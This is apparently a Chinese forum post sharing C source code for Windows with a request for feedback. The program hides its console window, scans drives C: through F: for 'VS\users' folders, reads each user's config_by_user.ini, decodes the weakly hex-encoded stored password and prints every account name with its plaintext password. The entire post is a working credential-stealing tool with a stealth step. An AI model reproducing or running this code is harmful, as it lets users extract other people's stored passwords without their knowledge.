代码给你们分享下!
希望高手给点意见!与帮助!
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <windows.h>
char *b = "VS\\users\\";//目标目录
char *b1 = "\\config_by_user.ini";
char arry[10][256];//目标文件
int l2 = 0,sot[10][1];//记录文件数目
void gold(char *cmd[],char buff[]);//查找是否存在vs\user文件目录。
int doset(char *a);//
void sovlpass(int i,char p[]);//得到密码;
int main(int argc,char *argv[])
{
//
ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0);
char buff[256],buff1[100];
int buf1;
char *cmd[4] = {"cd \\ & dir /s : > C:\\windows\\system\\sig",
"cd \\ & dir /s D: > C:\\windows\\system\\sig",
"cd \\ & dir /s E: > C:\\windows\\system\\sig",
"cd \\ & dir /s F: > C:\\windows\\system\\sig"};
for(buf1 = 0 ; buf1 < 4; buf1++)
{
system(cmd[buf1]);
gold(cmd,buff);
}
printf("获得的账号数量为 %d\n",l2/2);
for(int i = 0; i < l2/2; i++ )
sovlpass(i,buff1);
system("pause.");
return 0;
}
void gold(char *cmd[],char buff[])
{
int i = 0,j[2] , k = 0 , l = 0, l1 = 0, p1;
char buf;
FILE *p;
if (( p = fopen("C:\\windows\\system\\sig","rb") ) != NULL)
{
while(!feof(p))
{
++ i;
fread(&buf,1,1,p);
if ( buf == '\n')
{
if (k >= 2)
{
k = 0;
}
j[k]
=
i;
++ k;
}
if (l == 1)
{
buff[l1] = buf;
++ l1;
if(buf == '\n')
{
l = 0;
l1 = 0;
if(doset(buff) == 1)
{
//
printf("%s\n",buff);
//
printf("发现目标文件大小为%d:\n",strlen(buff));
for( p1 = 1; p1 < strlen(buff); p1++){
if(buff[p1] == 32 && p1 != 0)
break;
arry[l2][p1-1] = buff[p1];
//
printf("%c",arry[l2][p1-1]);
}
sot[l2][0] = p1-1;
//
printf("p1-1 = %d\n",p1-1);
++l2;
}
}
}
if(j[0] - j[1] == 2 || j[0] - j[1] == -2)
{
l = 1;
k = 0;
}
}
}
fclose(p);
}
int doset(char *a)
{
int i,j = 0,k, k1 = 0;
if(strlen(a) >= strlen(b))
{
for(i = 0; i < strlen(b); i++)
{
for( k = k1; k < strlen(a); k ++)
if(*(b+i) == a[k]&&(k - k1 ==1 || k1 == 0)){
++j;
k1 = k;
break;
}
}
if(j == strlen(b))
{
return 1;//找到目标文件
}
else
return 0;//没找到
}
else
return 0;
}
void sovlpass(int i,char p[]){
FILE *file,*file1;
int j,i1 = 0,l=0,k = 0, mm[16],sum = 0;
char op,c[100],c1[20];
printf("账号为:");
for(j = 0; j < sot[i][0]; j++ )
p[j] = arry[i][j];
for(j = sot[i][0]; j > 0; j--)
{
if(p[j]=='\\')
break;
c1[sum] = p[j];
sum ++;
}
for(sum--;sum > 0 ;sum--)
printf("%c",c1[sum]);
printf("\n");
for(j = 0; j < strlen(b1);j++)
p[sot[i][0]+j] = *(b1+j);
p[sot[i][0]+j] = '\0';
//
printf("%s\n",p);
if((file = fopen(p,"rb"))!= NULL)
{
while(!feof(file))
{
fread(&op,1,1,file);
if(op == '\n')
++ i1;
if(i1 == 5)
{
c[l] = op;
//
printf("%c",c[l]);
l++;
}
if(i1 == 6)
break;
}
fclose(file);
//
printf("ok\n");
//
printf("l is %d\n",l);
//
printf("%s\n,c is sizeof %d\n",c,strlen(c));
}
for(i = 15; i < l-15; i++)//16进制转换成10进制
{
switch(c[i]){
case '0' : mm[k] = 0; ++k; break;
case '1' : mm[k] = 1; ++k; break;
case '2' : mm[k] = 2; ++k; break;
case '3' : mm[k] = 3; ++k; break;
case '4' : mm[k] = 4; ++k; break;
case '5' : mm[k] = 5; ++k; break;
case '6' : mm[k] = 6; ++k; break;
case '7' : mm[k] = 7; ++k; break;
case '8' : mm[k] = 8; ++k; break;
case '9' : mm[k] = 9; ++k; break;
case 'a' : mm[k] = 10; ++k; break;
case 'b' : mm[k] = 11; ++k; break;
case 'c' : mm[k] = 12; ++k; break;
case 'd' : mm[k] = 13; ++k; break;
case 'e' : mm[k] = 14; ++k; break;
case 'f' : mm[k] = 15; ++k; break;
}
}
if(i1==6){
printf("密码为:");
for(l = 0; l < 16; l++)
{
if(l%2 != 0){
k = mm[l];
sum = i1+k-114;
printf("%c",sum);
}
else
i1 = mm[l]*16;
}
}
printf("\n");
}